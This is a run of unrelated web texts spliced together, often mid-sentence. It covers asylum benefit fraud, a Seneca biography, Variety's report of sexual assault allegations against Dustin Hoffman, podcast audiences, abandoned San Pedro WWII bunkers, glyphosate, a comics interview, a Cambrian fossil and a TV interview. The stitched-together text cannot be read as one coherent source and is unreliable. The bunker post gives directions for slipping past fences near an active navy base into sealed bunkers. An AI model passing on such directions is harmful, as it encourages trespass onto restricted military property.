Another asylum seeker and her husband illegally pocketed £11,000 in child benefit and child tax credit. The pair saved £10,000 of the benefits - but were only ordered to repay £6,000.
Another supposedly destitute asylum seeker who was found with two laptops, a TV, several mobile phones and an exercise machine.
Destitute asylum seekers can apply for 'asylum support' once they have been allowed to stay in the country.
They can get free accommodation plus £36 a week if they are single or £72 for a couple. But as part of the deal they are not allowed to claim other benefits.
The system costs £155 million a year - supporting 26,731 asylum seekers.
In his report, Mr Vine said: 'I found no evidence that the Home Office had an effective strategy to identify and tackle fraud in the asylum support system. Work had not been undertaken to determine what its exposure to fraud risk was.
'No attempt had been made to ensure fraud and compliance teams operated in a consistent manner and there were insufficient resources dedicated to this work. As a result opportunities to identify and deter those wishing to commit fraud were lost.Seneca the Younger (c. 4 BC – AD 65), fully Lucius Annaeus Seneca and also known simply as Seneca (), was a Roman Stoic philosopher, statesman, dramatist, and—in one work—satirist of the Silver Age of Latin literature.
Seneca was born in Córdoba in Hispania, and raised in Rome, where he was trained in rhetoric and philosophy. He was a tutor, and later an advisor, to emperor Nero. He was forced to take his own life for alleged complicity in the Pisonian conspiracy to assassinate Nero, in which he was likely to have been innocent.[1][2] His father was Seneca the Elder, his elder brother was Lucius Junius Gallio Annaeanus, and his nephew was the poet Lucan. His stoic and calm suicide has become the subject of numerous paintings. As a writer Seneca is known for his philosophical works, and for his plays, which are all tragedies. His philosophical writings include a dozen philosophical essays, and one hundred and twenty-four letters dealing with moral issues. As a tragedian, he is best known for his Medea and Thyestes.
Life [ edit ]
Early life, family and adulthood [ edit ]
Seneca was born at Córdoba in the Roman province of Baetica in Hispania.[3] His father was Lucius Annaeus Seneca the elder, a Spanish-born Roman knight who had gained fame as a writer and teacher of rhetoric in Rome.[4] Seneca's mother, Helvia, was from a prominent Baetician family.[5] Seneca was the second of three brothers; the others were Lucius Annaeus Novatus (later known as Junius Gallio), and Annaeus Mela, the father of the poet Lucan.[6] Miriam Griffin says in her biography of Seneca that "the evidence for Seneca's life before his exile in 41 is so slight, and the potential interest of these years, for social history as well as for biography, is so great that few writers on Seneca have resisted the temptation to eke out knowledge with imagination."[7] Griffin also infers from the ancient sources that Seneca was born in either 8, 4, or 1 BC. She thinks he was born between 4 and 1 BC and was resident in Rome by AD 5.[7]
Modern statue of Seneca in Córdoba
Seneca tells us that he was taken to Rome in the "arms" of his aunt (his mother's stepsister) at a young age, probably when he was about five years old.[8] His father resided for much of his life in the city.[9] Seneca was taught the usual subjects of literature, grammar, and rhetoric, as part of the standard education of high-born Romans.[10] While still young he received philosophical training from Attalus the Stoic, and from Sotion and Papirius Fabianus, both of whom belonged to the short-lived School of the Sextii, which combined Stoicism with Pythagoreanism.[6] Sotion persuaded Seneca when he was a young man (in his early twenties) to become a vegetarian, which he practised for around a year before his father urged him to desist because the practice was associated with "some foreign rites".[11] Seneca often had breathing difficulties throughout his life, probably asthma,[12] and at some point in his mid-twenties (c. 20 AD) he appears to have been struck down with tuberculosis.[13] He was sent to Egypt to live with his aunt (the same aunt who had brought him to Rome), whose husband Gaius Galerius had become Prefect of Egypt.[5] She nursed him through a period of ill-health that lasted up to ten years.[14] In 31 AD he returned to Rome with his aunt, his uncle dying en route in a shipwreck.[14] His aunt's influence helped Seneca be elected quaestor (probably after 37 AD[10]), which also earned him the right to sit in the Roman Senate.[14]
Politics and exile [ edit ]
Seneca's early career as a senator seems to have been successful and he was praised for his oratory.[15] Cassius Dio relates a story that Caligula was so offended by Seneca's oratorical success in the Senate that he ordered him to commit suicide.[15] Seneca only survived because he was seriously ill and Caligula was told that he would soon die anyway.[15] In his writings Seneca has nothing good to say about Caligula and frequently depicts him as a monster.[16] Seneca explains his own survival as down to his patience and his devotion to his friends: "I wanted to avoid the impression that all I could do for loyalty was die."[17]
In 41 AD, Claudius became emperor, and Seneca was accused by the new empress Messalina of adultery with Julia Livilla, sister to Caligula and Agrippina.[18] The affair has been doubted by some historians, since Messalina had clear political motives for getting rid of Julia Livilla and her supporters.[9][19] The Senate pronounced a death sentence on Seneca, which Claudius commuted to exile, and Seneca spent the next eight years on the island of Corsica.[20] Two of Seneca's earliest surviving works date from the period of his exile—both consolations.[18] In his Consolation to Helvia, his mother, Seneca comforts her as a bereaved mother for losing her son to exile.[20] Seneca incidentally mentions the death of his only son, a few weeks before his exile.[20] Later in life Seneca was married to a woman younger than himself, Pompeia Paulina.[6] It has been thought that the infant son may have been from an earlier marriage,[20] but the evidence is "tenuous".[6] Seneca's other work of this period, his Consolation to Polybius, one of Claudius' freedmen, focused on consoling Polybius on the death of his brother. It is noted for its flattery of Claudius, and Seneca expresses his hope that the emperor will recall him from exile.[20] In 49 AD Agrippina married her uncle Claudius, and through her influence Seneca was recalled to Rome.[18] Agrippina gained the praetorship for Seneca and appointed him tutor to her son, the future emperor Nero.[21]
Imperial advisor [ edit ]
From AD 54 to 62, Seneca acted as Nero's advisor, together with the praetorian prefect Sextus Afranius Burrus. One byproduct of his new position was that Seneca was appointed suffect consul in 56.[22] Seneca's influence was said to have been especially strong in the first year.[23] Seneca composed Nero's accession speeches in which he promised to restore proper legal procedure and authority to the Senate.[21] He also composed the eulogy for Claudius that Nero delivered at the funeral.[21] Seneca's satirical skit Apocolocyntosis, which lampoons the deification of Claudius and praises Nero dates from the earliest period of Nero's reign.[21] In 55 AD, Seneca wrote On Clemency following Nero's murder of Britannicus, perhaps to assure the citizenry that the murder was the end, not the beginning of bloodshed.[24] On Clemency is a work which, although it flatters Nero, was intended to show the correct (Stoic) path of virtue for a ruler.[21] Tacitus and Dio suggest that Nero's early rule, during which he listened to Seneca and Burrus, was quite competent. However, the ancient sources suggest that, over time, Seneca and Burrus lost their influence over the emperor. In 59 they had reluctantly agreed to Agrippina's murder, and afterward Tacitus reports that Seneca had to write a letter justifying the murder to the Senate.[24]
In 58 AD the senator Publius Suillius Rufus made a series of public attacks on Seneca.[25] These attacks, reported by Tacitus and Cassius Dio,[26] included charges that, in a mere four years of service to Nero, Seneca had acquired a vast personal fortune of three hundred million sestertii by charging high interest on loans throughout Italy and the provinces.[27] Suillius' attacks included claims of sexual corruption, with a suggestion that Seneca had slept with Agrippina.[28] Tacitus, though, reports that Suillius was highly prejudiced: he had been a favourite of Claudius,[25] and had been an embezzler and informant.[27] In response, Seneca brought a series of prosecutions for corruption against Suillius: half of his estate was confiscated and he was sent into exile.[29] However, the attacks reflect a criticism of Seneca that was made at the time and continued through later ages.[25] Seneca was undoubtedly extremely rich: he had properties at Baiae and Nomentum, an Alban villa, and Egyptian estates.[25] Cassius Dio even reports that the Boudica uprising in Britannia was caused by Seneca forcing large loans on the indigenous British aristocracy in the aftermath of Claudius's conquest of Britain, and then calling them in suddenly and aggressively.[25] Seneca was sensitive to such accusations: his De Vita Beata ("On the Happy Life") dates from around this time and includes a defense of wealth along Stoic lines, arguing that properly gaining and spending wealth is appropriate behaviour for a philosopher.[27]
Retirement [ edit ]
After Burrus's death in 62, Seneca's influence declined rapidly.[30] Tacitus reports that Seneca tried to retire twice, in 62 and 64 AD, but Nero refused him on both occasions.[27] Nevertheless, Seneca was increasingly absent from the court.[27] He adopted a quiet lifestyle on his country estates, concentrating on his studies and seldom visiting Rome. It was during these final few years that he composed two of his greatest works: Naturales quaestiones—an encyclopedia of the natural world; and his Letters to Lucilius—which document his philosophical thoughts.[31]
Death [ edit ]
In AD 65, Seneca was caught up in the aftermath of the Pisonian conspiracy, a plot to kill Nero. Although it is unlikely that Seneca was part of the conspiracy, Nero ordered him to kill himself.[27] Seneca followed tradition by severing several veins in order to bleed to death, and his wife Pompeia Paulina attempted to share his fate. Cassius Dio, who wished to emphasize the relentlessness of Nero, focused on how Seneca had attended to his last-minute letters, and how his death was hastened by soldiers.[32] A generation after the Julio-Claudian emperors, Tacitus wrote an account of the suicide, which, in view of his Republican sympathies, is perhaps somewhat romanticized.[33] According to this account, Nero ordered Seneca's wife saved. Her wounds were bound up and she made no further attempt to kill herself. As for Seneca himself, his age and diet were blamed for slow loss of blood and extended pain rather than a quick death. He also took poison, which was also not fatal. After dictating his last words to a scribe, and with a circle of friends attending him in his home, he immersed himself in a warm bath, which he expected would speed blood flow and ease his pain. Tacitus wrote, "He was then carried into a bath, with the steam of which he was suffocated, and he was burnt without any of the usual funeral rites. So he had directed in a codicil of his will, even when in the height of his wealth and power he was thinking of life's close."[33]
Legacy [ edit ]
As a humanist saint [ edit ]
Seneca's writings were well known in the later Roman period, and Quintilian, writing thirty years after Seneca's death, remarked on the popularity of his works amongst the youth.[34] While he found much to admire, Quintillian criticised Seneca for what he regarded as a degenerate literary style—a criticism echoed by Aulus Gellius in the middle of the 2nd century.[34]
The early Christian Church was very favorably disposed towards Seneca and his writings, and the church leader Tertullian possessively referred to him as "our Seneca".[35] By the 4th century an apocryphal correspondence with Paul the Apostle had been created linking Seneca into the Christian tradition.[36] The letters are mentioned by Jerome who also included Seneca among a list of Christian writers, and Seneca is similarly mentioned by Augustine.[36] In the 6th century Martin of Braga synthesised Seneca's thought into a couple of treatises that became popular in their own right.[37] Otherwise, Seneca was mainly known through a large number of quotes and extracts in the florilegia, which were popular throughout the medieval period.[37] When his writings were read in the later Middle Ages, it was mostly his Letters to Lucilius—the longer essays and plays being relatively unknown.[38]
Medieval writers and works continued to link him to Christianity because of his alleged association with Paul.[39] The Golden Legend, a 13th-century hagiographical account of famous saints that was widely read, included an account of Seneca's death scene, and erroneously presented Nero as a witness to Seneca's suicide.[39] Dante placed Seneca (alongside Cicero) among the "great spirits" in the First Circle of Hell, or Limbo.[40] Boccaccio, who in 1370 came across the works of Tacitus whilst browsing the library at Montecassino, wrote an account of Seneca's suicide hinting that it was a kind of disguised baptism, or a de facto baptism in spirit.[41] Some, such as Albertino Mussato and Giovanni Colonna, went even further and concluded that Seneca must have been a Christian convert.[42]
The " Pseudo-Seneca " a Roman bust found at Herculaneum, one of a series of similar sculptures known since the Renaissance, once identified as Seneca. Now commonly identified as Hesiod
An improving reputation [ edit ]
Seneca remains one of the few popular Roman philosophers from the period. He appears not only in Dante, but also in Chaucer and to a large degree in Petrarch, who adopted his style in his own essays and who quotes him more than any other authority except Virgil. In the Renaissance, printed editions and translations of his works became common, including an edition by Erasmus and a commentary by John Calvin.[43] John of Salisbury, Erasmus and others celebrated his works. French essayist Montaigne, who gave a spirited defense of Seneca and Plutarch in his Essays, was himself considered by Pasquier a "French Seneca".[44] Similarly, Thomas Fuller praised Joseph Hall as "our English Seneca". Many who considered his ideas not particularly original, still argued that he was important in making the Greek philosophers presentable and intelligible.[45] His suicide has also been a popular subject in art, from Jacques-Louis David's 1773 painting The Death of Seneca to the 1951 film Quo Vadis.
illustration above) "Seneca", ancient hero of the modern Córdoba; this architectural roundel in Seville is based on the " Pseudo-Seneca " (
Baroque marble imaginary portrait bust of Seneca, by an anonymous sculptor of the 17th century. Museo del Prado
Even with the admiration of an earlier group of intellectual stalwarts, Seneca has never been without his detractors. In his own time, he was accused of hypocrisy or, at least, a less than "Stoic" lifestyle. While banished to Corsica, he wrote a plea for restoration rather incompatible with his advocacy of a simple life and the acceptance of fate. In his Apocolocyntosis he ridiculed the behaviors and policies of Claudius, and flattered Nero—such as proclaiming that Nero would live longer and be wiser than the legendary Nestor. The claims of Publius Suillius Rufus that Seneca acquired some "three hundred million sesterces" through Nero's favor, are highly partisan, but they reflect the reality that Seneca was both powerful and wealthy.[46] Robin Campbell, a translator of Seneca's letters, writes that the "stock criticism of Seneca right down the centuries [has been]...the apparent contrast between his philosophical teachings and his practice."[46]
In 1562 Gerolamo Cardano wrote an apology praising Nero in his Encomium Neronis, printed in Basel.[47] This was likely intended as a mock encomium, inverting the portrayal of Nero and Seneca that appears in Tacitus.[48] In this work Cardano portrayed Seneca as a crook of the worst kind, an empty rhetorician who was only thinking to grab money and power, after having poisoned the mind of the young emperor. Cardano stated that Seneca well deserved death.
Among the historians who have sought to reappraise Seneca is the scholar Anna Lydia Motto who in 1966 argued that the negative image has been based almost entirely on Suillius's account, while many others who might have lauded him have been lost.[49]
"We are therefore left with no contemporary record of Seneca's life, save for the desperate opinion of Publius Suillius. Think of the barren image we should have of Socrates, had the works of Plato and Xenophon not come down to us and were we wholly dependent upon Aristophanes' description of this Athenian philosopher. To be sure, we should have a highly distorted, misconstrued view. Such is the view left to us of Seneca, if we were to rely upon Suillius alone."[50]
More recent work is changing the dominant perception of Seneca as a mere conduit for pre-existing ideas showing originality in Seneca's contribution to the history of ideas. Examination of Seneca's life and thought in relation to contemporary education and to the psychology of emotions is revealing the relevance of his thought. For example, Martha Nussbaum in her discussion of desire and emotion includes Seneca among the Stoics who offered important insights and perspectives on emotions and their role in our lives.[51] Specifically devoting a chapter to his treatment of anger and its management, she shows Seneca's appreciation of the damaging role of uncontrolled anger, and its pathological connections. Nussbaum later extended her examination to Seneca's contribution to political philosophy[52] showing considerable subtlety and richness in his thoughts about politics, education, and notions of global citizenship—and finding a basis for reform-minded education in Seneca's ideas she used to propose a mode of modern education that avoids both narrow traditionalism and total rejection of tradition. Elsewhere Seneca has been noted as the first great Western thinker on the complex nature and role of gratitude in human relationships.[53]
Philosophy [ edit ]
Naturales Quaestiones, made for the Catalan-Aragonese court First page of the, made for the Catalan-Aragonese court
Seneca was a prolific writer of philosophical works on Stoicism, mostly on ethics, with one work (Naturales Quaestiones) on the physical world.[54] Stoicism was a popular philosophy in this period, and many upper-class Romans found in it a guiding ethical framework for political involvement.[54] It was once popular to regard Seneca as being very eclectic in his Stoicism,[55] but modern scholarship views him as a fairly orthodox Stoic, albeit a free-minded one.[56] He knew the writings of many of the earlier Stoics: he often mentions Zeno, Cleanthes, and Chrysippus;[57] and he frequently cites Posidonius, with whom Seneca shared an interest in natural phenomena.[58] His works contain many references to other ancient philosophers, and it has often been noted that he frequently quotes Epicurus, especially in his Letters.[59] However, Seneca's interest in Epicurus is mainly limited to using him as a source of ethical maxims.[60] Likewise Seneca shows some interest in Platonist metaphysics, but never with any clear commitment.[61] His surviving moral essays are based on Stoic doctrines,[62] but are formulated in Latin and usually in a non-technical language,[63] thus making them accessible to a wider audience.[62] His works discuss both ethical theory and practical advice, and Seneca stresses that both parts are distinct but interdependent.[64] His Letters to Lucilius remain one of his most popular works: by offering ethical guidance, they showcase Seneca's search for ethical perfection.[64]
Seneca generally employs a pointed rhetorical style in his prose.[65] His writings focus on traditional themes of Stoic philosophy. The universe is governed for the best by a rational providence,[66] and this must be reconciled with adversity.[67] Seneca regards philosophy as a balm for the wounds of life.[68] The destructive passions, especially anger and grief, must be uprooted,[67] although sometimes he offers advice for moderating them according to reason.[69] He discusses the relative merits of the contemplative life and the active life,[68] and he considers it important to confront one's own mortality and be able to face death.[67][69] One must be willing to practice poverty and use wealth properly,[66] and he writes about favours, clemency, the importance of friendship, and the need to benefit others.[66][68][70]
Drama [ edit ]
Ten plays
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“I was humiliated. My mother always had some instinct that something untoward had happened. She kept asking me, and I was so mortified, I never said anything.” Speaking to Variety, Thomas’ mother recalled arriving at the restaurant, receiving the note, then picking her daughter up at the hotel. She recalled being concerned that her daughter had been alone in the room with Hoffman.
Cori Thomas did not tell her mother about what happened in the room until recently. She also never told Karina, who years later was a bridesmaid in Thomas’ wedding. “I didn’t want to embarrass her,” she said.
Thomas didn’t share the story of her encounter with Hoffman until seven years after it allegedly occurred, when her daughter was born. She told a family member — who confirmed to Variety having heard the story some time in the 1980s — and several close friends. “One of them said, ‘If this was your daughter, what would you do?’ And I said, ‘I would call the police,’” said Thomas, who is now a playwright.
Kester met Hoffman while he was making “Ishtar.” Living in Los Angeles, Kester was dating a man who worked on the music for the film and who invited her to visit the Malibu studio where Hoffman was recording vocal tracks for the movie’s songs. On her first visit, according to Kester, Hoffman’s second and current wife, Lisa, was present as were more than one of Hoffman’s younger children. On another visit, Kester said, she watched part of Hoffman’s performance in “Death of a Salesman” on VHS with the actor and others at the studio.
“We got into this conversation about Arthur Miller, and I told him that I wanted to write,” Kester, now a producer of corporate instructional videos, said. “I told him about some projects I was interested in, and he seemed really interested. I’m embarrassed, thinking back, because why would he be interested? It’s stupid.” Hoffman, according to Kester, suggested that he may want to work with her and asked for her phone number, which she gave him.
On a third visit, Kester said, she was in the control room with her boyfriend and a male engineer while Hoffman recorded the vocal track for one of the film’s songs in an isolation booth. A window between the control room and the booth, Kester said, made Hoffman visible to those in the control room from only chest level up.
Hoffman, Kester said, was struggling with his vocals, and the two men in the control room were making technical adjustments to compensate.
“He was in the recording booth, and he was like, ‘Send Melissa in here. I’m bored. Send Melissa in here,’” said Kester, who characterized the atmosphere as joking. She went into the booth with Hoffman.
“He may have been being flirtatious, but it wasn’t to the point of being obscene, because my boyfriend’s there,” Kester said. “Then they get ready to do another take. I’m standing there, and it’s kind of a small room, and he grabs me, so we’re both facing out so we’re both facing the people in the studio. I’m thinking that it’s kind of flirtatious and funny, like he’s holding onto me, because I’m going to help him sing better. I felt awkward. It’s a little weird. He’s hugging me while he’s singing. But ha ha ha, it’s all a joke. My boyfriend is right there.”
Hoffman continued with the take.
“And as he’s doing that, he literally just stuck his fingers down my pants,” Kester said. “He put his fingers inside me. And the thing I feel most bad about is I didn’t know what to do. I just stood there. I just froze in the situation like ‘Oh my god, what is happening?’ It’s shocking when that happens to you.”
Kester said that she made an effort not to react for fear that her boyfriend or the other man in the control room would know what was happening. She estimated that Hoffman kept his fingers inside her for 15-20 seconds, until he finished the take. Then she moved away from him.
“He kind of laughed,” she said. “Then I just ran out of there, and I sat in the bathroom crying. I thought, ‘Oh my God.’ I felt like I’d been raped. There was no warning. I didn’t know he would do that.”
Kester left the studio and never told her boyfriend, with whom she shared a long-term relationship for several years, about the alleged incident. Shortly after it occurred, she told a friend that Hoffman had groped her and made a pass at her, but not the details of the unwanted sexual contact. That person confirmed that account to Variety.
Hoffman, Kester said, called her repeatedly after the incident. The first time, he asked if they could get together, to which she responded no, she was busy. “The third time he called, that’s when I felt a rush of fear,” said Kester, who worried that Hoffman might begin stalking her. “That’s when I said, ‘You have to stop calling me. Please don’t call me.’” She did not hear from him again. Kester later attended the 1987 premiere of “Ishtar” with her boyfriend, but did not speak to Hoffman.
A third woman who asked to remain anonymous told Variety that Hoffman also assaulted her while working on “Ishtar” and that she had a subsequent sexual encounter with him that she characterized as consensual. She was 22 years old and had a non-speaking role in one of the film’s nightclub scenes shot in New York at Kaufman Astoria Studios. Hoffman, she said, approached her on set and told her “You’re a real actress, aren’t you?” Hoffman invited her to eat lunch in his dressing room, which she did.
A week later, the woman was at her job at an answering service when a friend on the film called her and said that Hoffman wanted to see if she would come to set and had offered to send a car for her. She turned down the ride, but agreed to go to the set. “I got off work. I got one [subway] token and I went out there to Kaufman Astoria Studios. He was escorting me around. He put me in a director’s chair. It was the last day of the shoot.”
She said that she observed the end of shooting, but then, as a wrap party began on the set, told Hoffman that she was going to leave. “He was like ‘No, no, stay,’” she said. “He gave me a drink. Everybody was dancing. And he just kept keeping an eye on me.”
After 1 a.m., the woman said, Hoffman offered to give her a ride home. Hoffman had a driver operating a station wagon that quickly filled with other people from the set. “I said ‘Okay, I’ll just get home another way.’ He goes, ‘No, we’ll get in the way back.’”
The woman said that she and Hoffman lay next to each other in the back of the station wagon, which started moving shortly thereafter. She was wearing a skirt. “There are people inches from us,” she said. “And he just took his hand and stuck his fingers right up inside of me. I didn’t know what to do. He’s smiling at me. I was frozen. I was outside of my body.”
The woman said that she does not recall how long the unwanted contact lasted, and that she felt unable to do anything to stop it. “There were people there,” she said. “What are they going to think of me, that I’m a whore, if a say something? What would I say? He’s Dustin Hoffman.”
According to the woman, the car dropped her near her apartment, but Hoffman put $20 in her hand and instructed her to go to the San Remo, where he lived. “I didn’t know what to do,” the woman said, describing herself as being in “a kind of fugue state” triggered by her encounter with Hoffman and related to abuse that she suffered as a child. She hailed a cab and asked the driver to “drive around” for a few minutes, then asked him to take her to the San Remo. There she said, Hoffman was waiting outside the building. She accompanied him upstairs, where, she claimed, he performed oral sex on her and they had intercourse.
Asked if she would describe the encounter in the station wagon as non-consensual, she said “yes.” Asked if she would describe the encounter at the San Remo as such, she said, “I don’t know.”
Earlier this year, three women came forward with allegations against Hoffman detailing sexual harassment that they said occurred decades ago. In an October letter in the Hollywood Reporter, Anna Graham Hunter, a production assistant on “Death of a Salesman” in 1985, wrote that Hoffman harassed and assaulted her on set when she was 17 years old. The following month, Wendy Riss Gatsiounis, now a producer on the National Geographic series “Genius,” told Variety that Hoffman propositioned her during a pitch meeting. Last week, actress Kathryn Rossetter wrote in the Hollywood Reporter that Hoffman groped and assaulted her while the two worked together on the Broadway production of “Death of a Salesman.”
Subscribe to Variety Newsletters and Email Alerts!Every year the audio landscape in America continues to expand as more consumers tune in to more (and more) audio across many different platforms. Nielsen’s new Audio Today Report reveals that hundreds of millions of Americans listen to the radio each week; at the same time, usage of digital platforms and podcasts continue to rise. We’ve never had more options to hear our favorite music, stories, sports and commentary, and few media prove this the way podcasts do, as this is one realm where there is literally something for everyone.
The profile of an average podcast listener (according to Nielsen Scarborough) is young, educated and affluent. Consumers who watch, listen to or download a podcast are significantly more likely to be higher educated, higher income and career-minded, making them a qualified—and valuable—audience for advertisers and marketers.Back to California Page
WWII San Pedro Bunkers CA
Pictures used with permission from website listed below
http://community.livejournal.com/socal_abandoned/31051.html
Hey peoples, this is my first post here~
I'll share a really scary and fun experience, exploring the Abandoned San Pedro WWII bunkers.
The bunkers are broken into from time to time, the active base above sometimes finds out and re-wields the doors.
Me and a friend got in before they had a chance to the other month.
Expand the cut to see many photos and more info on the bunkers.
(10 pictures)
While the bell and the park is a nice visit in itself if you are nearby...
If you would like to get to the outside of the bunkers you need to go up to the Korean Friendship Bell in San Pedro, CA (google map 'angels gate park') and there is an art school next to the bell hill- (old looking white buildings) You have to walk up the driveway of the navy base that is still active, to get to the art school. you must go behind the art school around to the left where you will see various art projects on the lawn, and abandoned warehouses behind fences, there are unfenced edges to the right and left of the fence, you can get behind them and go to the Concrete bunker area like in this first pic below: - patrols are low to none, I've only seen them patrol once. Unless you actually try to break welding they would probably just tell you to leave.
Take several flashlights in a backpack.
Here are some great pictures:
main entrances, lots of paintballs around too
lots of switches in a power room
intercom? missile launcher? who knows!
behind a bunker door
Documents!!! of city information and navy expenses
Mark, holding some SCHEMATICS
100 or so foot shoulder to shoulder cold dark hallway, with forks in it too, we went down it, it was freaky as hell.
Someone took a toilet... and lit stuff on fire.
more hallways and rooms
Thats kinda scary...
To contact Abandoned But Not Forgotten please e-mail us at [email protected] with any questions or submissions you may want to contribute to the site. I DON'T GIVE OUT LOCATIONS. I DON'T KNOW IF THE BUILDINGS ARE FOR SALE. I DON'T KNOW IF THE BUILDINGS ARE STILL STANDING.
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Homepagecryptogon.com news – analysis – conspiracies
December 14th, 2010
Grim.
Via: Organic Consumers:
In a paper published in the European Journal of Agronomy in October 2009, Huber and co-author G.S. Johal, from Purdue’s department of botany and plant pathology, state that the widespread use of glyphosate that we see today in agriculture in the United States can “significantly increase the severity of various plant diseases, impair plant defense to pathogens and diseases, and immobilize soil and plant nutrients rendering them unavailable for plant use.”
Further, the authors state that glyphosate stimulates the growth of fungi and enhances the virulence of pathogens such as Fusarium and “can have serious consequences for sustainable production of a wide range of susceptible crops.” The authors warn “ignoring potential non-target detrimental side effects of any chemical, especially used as heavily as glyphosate, may have dire consequences for agriculture such as rendering soils infertile, crops non-productive, and plants less nutritious. To do otherwise might well compromise not only agricultural sustainability, but also the health and well-being of animals and humans.”
Research Credit: RJF
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You must be logged in to post a comment.It's no stretch of the imagination so say we've gone 100% absolutely bananas over Black Hammer. The series is innovative, taking Silver Age tropes and analyzing them through the lens of modern comic realism. The art is dark and moody, reflecting the strange mystery surrounding the group of former heroes. In general, it's like an award-winning film with each person involved churning out an all-world effort.
One of the people most critical to this book's overall success is Dark Horse editor Daniel Chabon, and he spent some time with us answering questions with candor, and also letting us behind the scenes on what may be the best superhero book on the shelf.
With the talent involved, how hands-on were you during Black Hammer’s development? How did this book evolve from pitch to production to now?
I actually was not there at all during the development. In fact, this project has a long, complicated history.
Black Hammer began in 2007 when Jeff was working on Essex County at Top Shelf. This was before Jeff started to work with mainstream superheroes at Marvel and DC and he was not sure if he’d ever get to work on those characters. So he decided to create his own versions that pushed his interests in stories about family and small-town life.
Jeff initially pitched the project to former Dark Horse editor Diana Schutz and it was accepted. This was to be Jeff’s next project after Essex County, but Jeff also had Sweet Tooth kicking around in his head at the same time and shifted over to draw forty issues of that at Vertigo.
Come 2014, Jeff returned to Black Hammer. Diana had retired from Dark Horse, and Brendan Wright had taken over as editor. Jeff knew he would not be able to draw the book with his busy schedule. He had been following Dean Ormston’s work for years and met him for the first time at the Thought Bubble comic festival in 2011. When Jeff finally wanted to bring Black Hammer back, he brought Dean, who was really a perfect fit for the story—his unique art style pushes the book to really stand out among all the other titles that feature superheroes. Dave Stewart was brought in for colors and Todd Klein for letters, and at that point you had this amazing rock star ensemble of comic book creators.A newly discovered fossil of an ancient shrimp-like arthropod discovered by scientists could take us way back in time.
The 520 million-year-old fossil – about three inches long – of an extinct marine creature called Fuxianhuia protensa – ancestral to modern day arthropods – is the earliest known cardiovascular system to have been discovered by scientists so far.
"This is the first preserved vascular system that we know of," Nicholas Strausfeld, a Regents' Professor of Neuroscience at the University of Arizona's Department of Neuroscience, who helped analyze the find said in a press release.
Found in sedimentary rocks of fine-grain mudstone from the lower Cambrian period in southwest China, such an elaborate and "remarkable example" of preservation is quite rare.
"Fuxianhuia is relatively abundant, but only extremely few specimens provide evidence of even a small part of an organ system, not even to speak of an entire organ system," said Dr. Strausfeld, an author on the paper published in Nature Communications.
At this point researchers don't know exactly why the fossil was preserved, but some speculations point toward some kind of a calamity that might have created conditions conducive to its preservation. For example, the habitats of these creatures might have been inundated due to ferocious sandstorms. "We believe that these animals were preserved because they were entombed quickly under very fine-grained deposits during some kind of catastrophic event, and were then permeated by certain chemicals in the water while they were squashed flat. It is an invertebrate version of Pompeii," Strausfeld said.
Another possibility is that tsunamis might have been responsible for preserving the deposits. "As the water withdraws, animals on the seafloor dry," Strausfeld said. "When the water rushed back in, they might become inundated with mud. Under normal circumstances, when animals die and are left to rot on the seafloor, they become unrecognizable. What happened to provide the kinds of fossils we are seeing must have been very different."
Using imaging techniques, researchers closely studied the preserved vascular system of the fossil. "With that, we can now start speculating about behavior," Strausfeld explained. "Because of well-supplied blood vessels to its brain, we can assume this was a very active animal capable of making many different behavioral choices."
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The brain of the animal was highly vascularized which suggests it required a lot of oxygen. The eyes were on moveable stalks, indicating that the animal used active vision. It probably had a lot of lot of chemoreceptors on its antennae. It had swimming appendages. The findings indicate that the animal was probably a forager and had good olfactory perception, Strausfeld told the Monitor.
"Different groups of crustaceans have vascular systems that have evolved into a variety of arrangements but they all refer back to what we see in Fuxianhuia," he added.As CBS’ Elementary resumes its second season this Thursday at 10/9c, Sherlock’s biggest foe — and love — is back, and with a whopper of a secret.
But first, there’s a case to be solved that may have ties to the (imprisoned?) Moriarty, played by guest star Natalie Dormer (Game of Thrones). What’s more, the P.I. that Sherlock once knew as Irene Adler has a newfound fascination with his partner Joan, executive producer Rob Doherty previews.
Read on to find out what Joan will make of the former lovers’ covert correspondence and why she’s on Moriarty’s mind.
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TVLINE | What brings Moriarty back into Sherlock and Watson’s lives?
A young girl is kidnapped in New York City and Sherlock and Joan quickly come to believe that Moriarty may have had a hand in the abduction. With Captain Gregson’s help, they track her down and pull her into the investigation.
TVLINE | So she’s not still in prison?
Oh, that’s a complicated answer. [Laughs] She is still in federal custody. She has been in federal custody since the events of last year’s finale, but she is… well, Moriarty would not necessarily let incarceration keep her from pulling certain strings.
TVLINE | Is Moriarty any different considering everything that’s happened since last we saw her?
She’s incrementally more humble for having lost to Sherlock and Joan at the end of the first season. It’s something she’s had a little time to chew on and puzzle over. She still doesn’t quite get it, doesn’t quite understand that Sherlock and Joan as a unit are more than one Moriarty. But she’s a student even of her own mistakes, so she takes this opportunity to dig a little deeper into Sherlock and Joan’s relationship and try to figure out, first and foremost, where she went wrong and second, what that relationship is really about.
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TVLINE | They bested her, so that’s got to sting when she sees them again.
It’s tricky. [Laughs] From the very beginning, it will be very clear that Joan, in particular, has been on Moriarty’s mind.
TVLINE | Yes, why does she have a painting of Joan?
We established that one of her many talents is painting. She may be a very devious personality, but she has some artist talents. The painting announces pretty quickly to the audience that she’s been thinking about Joan.
TVLINE | On the other end of this equation, there’s Sherlock and Joan. How does Moriarty’s presence affect them?
We established earlier in the season that Sherlock was participating in a secret correspondence with Moriarty. We showed that the two of them had been exchanging letters. In this episode, when Sherlock realizes the two of them are going to have to see Moriarty, he knows there’s no point in keeping it from Joan any longer. And so it’s a lot for [Joan] to digest as the story begins. It’s a little surprising, a little confusing, at first and yet, over the course of the episode, she’s starts to understand Sherlock, for all his quirks, is still a guy with a broken heart…. But it doesn’t make it easier for Joan to be in the same room with this woman. They certainly have plenty of unfinished business between them, but we’re going to learn a lot more about Moriarty in this episode. We’re not completely pulling the curtain away, but I can guarantee at least one big secret about Moriarty and her past will come to light.
TVLINE | Is she a presence that you hope will recur throughout the season?
Gosh, it’s always so hard to say. If I had my druthers, she would absolutely be a recurring presence over the life of the series. It’s harder to say if we’ll see her again this season only because Natalie is an incredible actress and in demand for very good reasons. And so sometimes, it can be tricky to make sure schedules mesh in our favor. So absolutely, we cannot get enough of Natalie and would love to have her back, but it’s too soon to say if that would happen again this season.Diamond Tiara is the type of character that I like to call an "easy target". Similar to a poorly made movie or an ugly piece of art that's not secretly a work of genius, it isn't difficult to find fault in Diamond. When you say you dislike her, nobody needs to ask you why. Disliking her is the "default" option, because she was designed to be unlikable.
